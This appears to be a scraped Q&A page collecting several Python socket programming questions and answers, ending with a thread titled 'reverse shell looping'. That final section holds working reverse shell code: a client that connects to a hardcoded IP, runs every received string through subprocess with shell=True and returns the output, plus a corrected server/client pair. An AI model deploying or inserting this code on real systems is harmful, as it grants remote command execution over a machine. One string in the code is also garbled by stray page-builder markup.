Sockets python client - python

I currently have this code
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = socket.gethostbyname(socket.gethostname())
port = 1111
address=(ip,port)
server.bind(address)
server.listen(1)
print("Started listening on", ip, ":", port)
client.addr=server.accept()
while True:
data = client.recv(1024)
print("received",data, "from the client")
print("Processing data")
if(data=="Hello server"):
client.send("hello client")
print("Processing done")
elif(data=="disconnect"):
client.send("goodbye")
client.close()
break
else:
client.send("Invalid data")
print("invalid data")
However i get this error message: NameError: name 'client' is not defined.
But why?

Well, that is devoted to the fact that the function server.accept() return two values, the socket itself and the address. Therefore being accepted this way:
client, addr = server.accept()
would allow what you are trying to achieve.

Related

How to produce correct endless socket connection?

I need to produce endless socket connections, which can be broke only with 1KeyboardInterupt1 or special word.
When I start both programs in different IDEs, the sender asks to input the message. But only the first message sends to the server and all the others don't.
I need to produce an endless cycle, where all inputs are sent to the server on print.
The server part:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
while True:
try:
client, addr = s.accept()
except KeyboardInterrupt:
s.close()
break
else:
res = client.recv(1024)
print(addr, 'says:', res.decode('utf-8'))
And the client:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while True:
com = input('Enter the message: ')
s.send(com.encode())
print('sended')
if com == 'exit':
s.close()
break
I tried to do this on the client:
import socket
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
com = input('Enter the message: ')
s.send(com.encode())
print('sended')
s.close()
if com == 'exit':
break
But this way needs to create a socket, make connection and close socket every iteration.
Is there the way how to do what I described above with only one socket initialization?
The s.close() must be out of the while loop.

How can I have an admin-client to remote shutdown server.py in a socket programming multiple clients?

So can someone please tell me how to have an admin-client shutting down the Server (server.py) in a socket multiple clients architecture? I want admin-client to type "shutdown" in client side then server will be shutdown. and right after submit, the server will call a function that shows network load graph . a graph with the number of requests per time slot.
Server:
`
import socket, threading
class ClientThread(threading.Thread):
def __init__(self,clientAddress,clientsocket):
threading.Thread.__init__(self)
self.csocket = clientsocket
print ("New connection added: ", clientAddress)
def run(self):
print ("Connection from : ", clientAddress)
#self.csocket.send(bytes("Hi, This is from Server..",'utf-8'))
msg = ''
while True:
data = self.csocket.recv(2048)
msg = data.decode()
if msg=='bye':
break
print ("from client", msg)
self.csocket.send(bytes(msg,'UTF-8'))
print ("Client at ", clientAddress , " disconnected...")
LOCALHOST = "127.0.0.1"
PORT = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((LOCALHOST, PORT))
print("Server started")
print("Waiting for client request..")
while True:
server.listen(1)
clientsock, clientAddress = server.accept()
newthread = ClientThread(clientAddress, clientsock)
newthread.start()
Client:
import socket
SERVER = "127.0.0.1"
PORT = 8080
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((SERVER, PORT))
client.sendall(bytes("This is from Client",'UTF-8'))
while True:
in_data = client.recv(1024)
print("From Server :" ,in_data.decode())
out_data = input()
client.sendall(bytes(out_data,'UTF-8'))
if out_data=='bye':
break
client.close()
`
I have tried
if message == "shutdown":
close()
exit(0)
but dont know how to apply it

Python socket programming , how to communicate with another computer in the same network

#SOLVED#
It is solved when i disable Microsoft FireWall...
I want to make a basic multiplayer game using pygame and socket.
I created two scripts server.py and client.py .
I can send data from one pythonwindow to anotherwindow in the same computer but I want to send data to another window in another computer that connects the same internet connection.
How could it be possible ? Thank you
server.py
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ipv4 = socket.gethostbyname(socket.gethostname())
port = 1233
server_socket.bind((ipv4, port))
#Listens for new connections.
server_socket.listen(5)
#5 is backlog parameter that means while server is busy keep 5 connections.
# If sixth connection comes it will immediately be refused.
connection = True
while connection:
print("Server is waiting for connection.")
client_socket,addr = server_socket.accept()
print("client connected from {}".format(addr))
while True:
data = client_socket.recv(1024)
#Max 1024 bytes can be received and the max amount of bytes is given as parameter.
if not data or data.decode("utf-8") == "END":
connection = False
break
print("received from client : {a}".format(a = data.decode("utf-8")))
try:
client_socket.send(bytes("Hey client","utf-8"))
except:
print("Exited by the user")
client_socket.close()
server_socket.close()
client.py
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ipv4 = socket.gethostbyname(socket.gethostname())
port = 1233
print(ipv4)
#Connection of client to the server.
client_socket.connect((ipv4, port))
message = "Hey naber moruk nasilsin? Ben gayet iyiyim."
try :
while True:
client_socket.send(message.encode("utf-8"))
data = client_socket.recv(1024)
print(str(data))
more = input("Want to send more data to the server ? ('yes' or 'no')")
if more.lower() == "y":
message = input("Enter Payload")
else:
break
except KeyboardInterrupt:
print("Exited by the user")
client_socket.close()

Client not responding - multi thread in Python

I am trying to make 2 threads. One will always be listening and second one will check if the server is listening or not.
Host='127.0.0.1'
Port= 5555
threads=[]
threads2=[]
def server() :
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((Host, Port))
while 1:
print("listen() ")
s.listen()
conn, address= s. accept()
with conn:
print(" Connected by", address)
while True:
data=conn.recv(1024)
print("from caller", representing(data))
def client () :
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind(('127.0.0.1', 5555))
except socket.error as e:
if e.errno==errno.EADDRINUSE:
print("port in use")
else:
print("connected")
s.close()
served = threading.Thread(target=server)
threads.append(served)
served.start()
print("started the server thread")
time.sleep(2)
click =threading.Thread(target=client)
threads2.append(click)
click.start()
print("click started")
I am getting the below output
started the server thread
listen()
click started
And after this it doesnt show anything.
You're trying to bind the socket in both the server and the client. You can only bind once. (See the Python documentation on this.
Instead, for the client, you should use connect:
def client () :
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# use s.connect instead of s.bind
s.connect(('127.0.0.1', 5555))
except socket.error as e:
if e.errno==errno.EADDRINUSE:
print("port in use")
else:
print("connected")
s.close()

reverse shell looping

Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()

Categories

Resources